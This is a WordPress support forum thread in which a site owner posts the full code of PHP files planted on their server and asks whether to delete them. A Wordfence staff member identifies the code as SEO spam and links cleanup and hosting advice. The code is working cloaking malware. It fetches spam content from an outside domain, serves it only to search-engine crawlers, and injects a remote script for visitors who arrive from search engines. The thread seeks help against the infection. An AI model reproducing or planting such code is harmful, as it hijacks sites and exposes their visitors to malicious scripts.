Title: Many strange php files
Last modified: May 4, 2017

---

# Many strange php files

 *  [ufopsi](https://wordpress.org/support/users/ufopsi/)
 * (@ufopsi)
 * [9 years, 5 months ago](https://wordpress.org/support/topic/many-strange-php-files/)
 * Hi guys, I’ve found many strange php files in the WP directory, such as barn.
   php, tern.php, tium.php and many more. These seem to have been added between 
   April 1st and 4th. There is a strange code:
 *     ```
       <?php
       function gethttpcnt($url,$timeout = 5){
       $ch = curl_init();
       curl_setopt($ch, CURLOPT_URL, $url);
       curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
       curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
       $cnt = curl_exec($ch);
       curl_close($ch);
       return $cnt;}
       $houzui=stripslashes($_SERVER['QUERY_STRING']);
       if($houzui==''){
       $ncontent=gethttpcnt("http://www.jptop.cc/hy/zt/0404/101wh.com/list.txt");
       $newcontent=explode("||",$ncontent);
       $content=gethttpcnt($newcontent[0]);
       if(stristr($_SERVER['HTTP_USER_AGENT'],'Googlebot')||stristr($_SERVER['HTTP_USER_AGENT'],'yahoo')||stristr($_SERVER['HTTP_USER_AGENT'],'bingbot')||stristr($_SERVER['HTTP_USER_AGENT'],'msnbot')||stristr($_SERVER['HTTP_USER_AGENT'],'aol')){
       echo $content;}
       }else{
       $nhouzui=explode(".",$houzui);
       $nmulu=explode("_",$nhouzui[0]);
       $content=gethttpcnt("http://www.jptop.cc/hy/zt/0404/101wh.com/".$nmulu[0]."/".$nmulu[1].'.txt');
       if(stristr($_SERVER['HTTP_USER_AGENT'],'Googlebot')||stristr($_SERVER['HTTP_USER_AGENT'],'yahoo')||stristr($_SERVER['HTTP_USER_AGENT'],'bingbot')||stristr($_SERVER['HTTP_USER_AGENT'],'msnbot')||stristr($_SERVER['HTTP_USER_AGENT'],'aol')){
       echo $content;}}
       if(stristr($_SERVER['HTTP_REFERER'],"google")||stristr($_SERVER['HTTP_REFERER'],"yahoo")||stristr($_SERVER['HTTP_REFERER'],"bing")||stristr($_SERVER['HTTP_REFERER'],"msn")||stristr($_SERVER['HTTP_REFERER'],"aol")){
       $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4);
       if (preg_match("/zh-c/i", $lang)==false||preg_match("/zh-c/i", $lang)==0){
       echo "<script type='text/javascript' src='http://bit.ly/1s9BoaN'></script></html>";
       }
       }
       ?>
       ```
   
 * Should I delete them?
 * Thanks.
    -mbg

Viewing 4 replies - 1 through 4 (of 4 total)

 *  Thread Starter [ufopsi](https://wordpress.org/support/users/ufopsi/)
 * (@ufopsi)
 * [9 years, 5 months ago](https://wordpress.org/support/topic/many-strange-php-files/#post-9098815)
 * I have deleted all these files. However, WF did not block the upload.
 * The site is running the latest version of WP and has very few plugins and pages.
   Furthermore, I previously found a line of malicious code in wp-content/index.
   php.
 * Sucuri does not detect any issues so far.
 *  [wfalaa](https://wordpress.org/support/users/wfalaa/)
 * (@wfalaa)
 * [9 years, 5 months ago](https://wordpress.org/support/topic/many-strange-php-files/#post-9108983)
 * Hi mbg,
    This script would probably fetch some links from a specific domain owned
   by the attacker and print these links out when your website is being crawled 
   by any search engine bot, so it’s some sort of “SEO spam”.
 * Not sure if Wordfence was installed when these files were uploaded or not? also,
   was the Firewall set to “Enabled and Protecting”?
 * In general, it’s highly recommended to check this list regarding “[How to Clean a Hacked WordPress Site using Wordfence](https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/)“,
   and there are some nice tips to protect your working environment as well here“
   [How to Secure Your WordPress Working Environment](https://www.wordfence.com/learn/how-to-secure-your-wordpress-working-environment/)“.
 * Thanks.
 *  Thread Starter [ufopsi](https://wordpress.org/support/users/ufopsi/)
 * (@ufopsi)
 * [9 years, 5 months ago](https://wordpress.org/support/topic/many-strange-php-files/#post-9109154)
 * Hi, thanks for the tip.
 * Wordfence was active, yet this happened.
 *  [wfalaa](https://wordpress.org/support/users/wfalaa/)
 * (@wfalaa)
 * [9 years, 5 months ago](https://wordpress.org/support/topic/many-strange-php-files/#post-9112150)
 * If your website is hosted on a shared hosting account, then it could be that 
   any of the other websites -hosted on the same server hosting your website- got
   hacked and these files were uploaded at this time.
 * I suggest reading “[How to Choose a WordPress Hosting Service](https://www.wordfence.com/learn/how-to-choose-a-wordpress-hosting-service/)”
   article on our learning center.
 * Thanks.

Viewing 4 replies - 1 through 4 (of 4 total)

 The topic ‘Many strange php files’ is closed to new replies.

 * ![](https://ps.w.org/wordfence/assets/icon.svg?rev=2070865)
 * [Wordfence Security - Firewall, Malware Scan, and Login Security](https://wordpress.org/plugins/wordfence/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/wordfence/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/wordfence/)
 * [Active Topics](https://wordpress.org/support/plugin/wordfence/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/wordfence/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/wordfence/reviews/)

 * 4 replies
 * 2 participants
 * Last reply from: [wfalaa](https://wordpress.org/support/users/wfalaa/)
 * Last activity: [9 years, 5 months ago](https://wordpress.org/support/topic/many-strange-php-files/#post-9112150)
 * Status: not resolved